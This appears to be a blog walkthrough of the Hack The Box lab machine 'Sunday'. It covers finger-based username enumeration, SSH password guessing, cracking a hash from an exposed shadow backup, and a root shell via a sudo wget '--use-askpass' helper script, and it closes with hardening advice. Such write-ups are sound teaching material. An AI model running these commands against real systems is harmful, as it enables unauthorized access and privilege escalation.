nekr0ff

PT1 certified | OSCP in progress

nekr0ff

Sunday – HTB writeup

Summary

Sunday is an easy-difficulty Linux machine that highlights the risks of legacy information disclosure services, weak credentials, exposed configuration backups, and misconfigured sudo permissions.

The attack path begins with network reconnaissance discovering a legacy user information service running alongside a non-standard SSH service. Querying the legacy daemon enables unauthenticated username enumeration, revealing active system accounts. Testing common credentials against the SSH service yields an initial low-privileged foothold. Once inside the system, local enumeration reveals an insecurely stored administrative backup file containing password hashes. Offline dictionary cracking recovers credentials for a secondary user account, facilitating lateral movement. Finally, auditing sudo permissions reveals an unrestricted binary execution rule that can be abused via a helper script execution vector to spawn an interactive root shell.

Reconnaissance

Port Scanning

We initiate network discovery using rustscan coupled with nmap scripts to scan all TCP ports and detect service versions:

rustscan -a 10.129.51.32 -- -sCV -oN target
  • -a 10.129.51.32: Target IP address to scan.
  • --: Delimiter separating RustScan options from pass-through Nmap flags.
  • -sC: Execute standard/default Nmap NSE vulnerability and information gathering scripts.
  • -sV: Probe open ports to determine service and version details.
  • -oN target: Output scan results in standard format to the file target.

The scan output reveals several open ports and services:

PORT      STATE SERVICE REASON         VERSION
79/tcp    open  finger? syn-ack ttl 59
| fingerprint-strings: 
|   GenericLines: 
|     No one logged on
|   GetRequest: 
|     Login Name TTY Idle When Where
|     HTTP/1.0 ???
|   HTTPOptions: 
|     Login Name TTY Idle When Where
|     HTTP/1.0 ???
|     OPTIONS ???
|   Help: 
|     Login Name TTY Idle When Where
|     HELP ???
|   RTSPRequest: 
|     Login Name TTY Idle When Where
|     OPTIONS ???
|     RTSP/1.0 ???
|   SSLSessionReq, TerminalServerCookie: 
|     Login Name TTY Idle When Where
|_finger: No one logged on\x0D
111/tcp   open  rpcbind syn-ack ttl 63 2-4 (RPC #100000)
515/tcp   open  printer syn-ack ttl 59
6787/tcp  open  http    syn-ack ttl 59 Apache httpd
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: 400 Bad Request
22022/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:00:94:32:18:60:a4:93:3b:87:a4:b6:f8:02:68:0e (RSA)
|   256 da:2a:6c:fa:6b:b1:ea:16:1d:a6:54:a1:0b:2b:ee:48 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII/0DH8qZiCfAzZNkSaAmT39TyBUFFwjdk8vm7ze+Wwm

Key observations from the scan:

  • Port 79 (Finger): Running the legacy Finger protocol daemon, which provides information about logged-in users and account details.
  • Port 111 (RPCBind): Standard RPC port mapper.
  • Port 515 (Printer / LPD): Line Printer Daemon service.
  • Port 6787 (HTTP): Apache HTTP server responding with 400 Bad Request.
  • Port 22022 (SSH): OpenSSH 8.4 listening on an alternate non-standard port.

Finger Protocol Enumeration (Port 79)

The Finger protocol (RFC 1288) allows querying information about users on a remote system in plain text. It can be queried manually via the finger client or raw TCP sockets (nc, telnet):

finger @10.129.51.32

To systematically discover valid user accounts, we use Metasploit’s auxiliary module auxiliary/scanner/finger/finger_users with a common username wordlist:

msf6 > use auxiliary/scanner/finger/finger_users
msf6 auxiliary(scanner/finger/finger_users) > set RHOSTS 10.129.51.32
msf6 auxiliary(scanner/finger/finger_users) > set USER_FILE /usr/share/wordlists/seclists/Usernames/Names/names.txt
msf6 auxiliary(scanner/finger/finger_users) > run

The scan successfully identifies two active user accounts on the host:

  • sunny
  • sammy

Initial access

With two confirmed usernames (sunny, sammy) and an SSH service listening on port 22022, we test standard weak password candidates (such as the username itself, box name, and default passwords).

Testing the credential pair sunny : sunday against port 22022 succeeds.

We connect via SSH using the non-standard port:

ssh sunny@10.129.51.32 -p 22022
  • sunny@10.129.51.32: Target username and host IP.
  • -p 22022: Target port for the SSH daemon.
sunny@sunday:~$ whoami
sunny
sunny@sunday:~$ id
uid=1001(sunny) gid=1001(sunny) groups=1001(sunny)

We can now read the user flag from the user’s home directory.

Privilege escalation

Lateral Movement to sammy

During post-compromise enumeration, we investigate non-standard directories across the filesystem for stored data, configuration files, and backups.:

ls -la /backup

Inside the /backup directory, we discover a backup copy of the system shadow file: /backup/shadow.

sunny@sunday:/backup$ ls -la
total 16
drwxr-xr-x  2 root root 4096 Jul 30 12:00 .
drwxr-xr-x 19 root root 4096 Jul 30 11:45 ..
-rw-r--r--  1 root root 1240 Jul 30 11:58 shadow

Reading /backup/shadow exposes the password hashes for system users, including the account sammy. We copy the hash entry for sammy to our local attacking machine:

sammy:$6$kG.nnYIx$J7o89...[truncated]...:18838:0:99999:7:::

We use John the Ripper to crack the SHA-512 crypt hash using the rockyou.txt wordlist:

john --wordlist=/usr/share/wordlists/rockyou.txt sammy_hash.txt
  • --wordlist=/usr/share/wordlists/rockyou.txt: Wordlist used for dictionary attack.
  • sammy_hash.txt: File containing the extracted hash.
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
cooldude!        (sammy)

John reveals the password for sammy as cooldude!.

We switch user to sammy using su:

su - sammy
# Password: cooldude!

sammy@sunday:~$ whoami
sammy

Root Privilege Escalation via Sudo Misconfiguration

With access as sammy, we audit allowed sudo privileges using sudo -l :

sudo -l

-bash-5.1$ sudo -l
User sammy may run the following commands on sunday:
    (root) NOPASSWD: /usr/bin/wget

The output shows sammy can execute /usr/bin/wget as root without supplying a password (NOPASSWD).

According to GTFOBins, wget supports the --use-askpass parameter, which executes a specified external helper program when asking for credentials. Because wget is invoked with sudo, any script specified via --use-askpass executes with root privileges.

We craft an executable helper script in /tmp:

echo -e '#!/bin/sh\n/bin/sh 1>&0' > /tmp/pwn
chmod +x /tmp/pwn
  • echo -e '#!/bin/sh\n/bin/sh 1>&0' > /tmp/pwn: Creates a POSIX shell script that spawns an interactive shell with redirected standard I/O streams.
  • chmod +x /tmp/pwn: Sets execution permissions on the script.

We execute wget with sudo pointing to our helper script:

sudo wget --use-askpass=/tmp/pwn 0

root@sunday:/home/sammy# whoami
root
root@sunday:/home/sammy# id
uid=0(root) gid=0(root) groups=0(root)

We now have an interactive root shell and can retrieve the root flag at /root/root.txt.

Conclusion

Sunday illustrates a classic penetration testing attack path where several subtle misconfigurations chain together to achieve complete system compromise. The primary initial vector was the exposure of the legacy Finger protocol on port 79, which enabled unauthenticated username harvesting without brute-force noise. This directly facilitated a successful password guessing attack against the non-standard SSH service.

Internally, insecure file permissions on the /backup directory allowed a low-privileged user to read sensitive shadow password hashes, leading to offline credential recovery with John the Ripper for lateral movement. Finally, an overly permissive sudoers entry for wget allowed an unrestricted binary execution escape via the --use-askpass argument, escalating privileges to root.

Defensive Remediation & Hardening

  1. Disable Legacy Services: Decommission and disable the legacy Finger daemon (in.fingerd). If user status checks are needed, rely on modern, authenticated enterprise directory services (e.g., LDAP over TLS / Kerberos).
  2. Enforce Strong Password Policies: Mandate strong, complex passphrases across all system accounts to prevent dictionary and password-guessing attacks.
  3. Secure Backup Storage: Restrict permissions on administrative backup directories (chmod 700 /backup) and ensure sensitive credential files such as shadow backups are owned exclusively by root:root with mode 0600.
  4. Harden Sudoers Rules: Follow the principle of least privilege in /etc/sudoers. Avoid NOPASSWD directives on utilities with built-in execution or file read/write parameters (such as wget, curl, find, vim).
Index
root@nekr0ff:~$ cd $HOME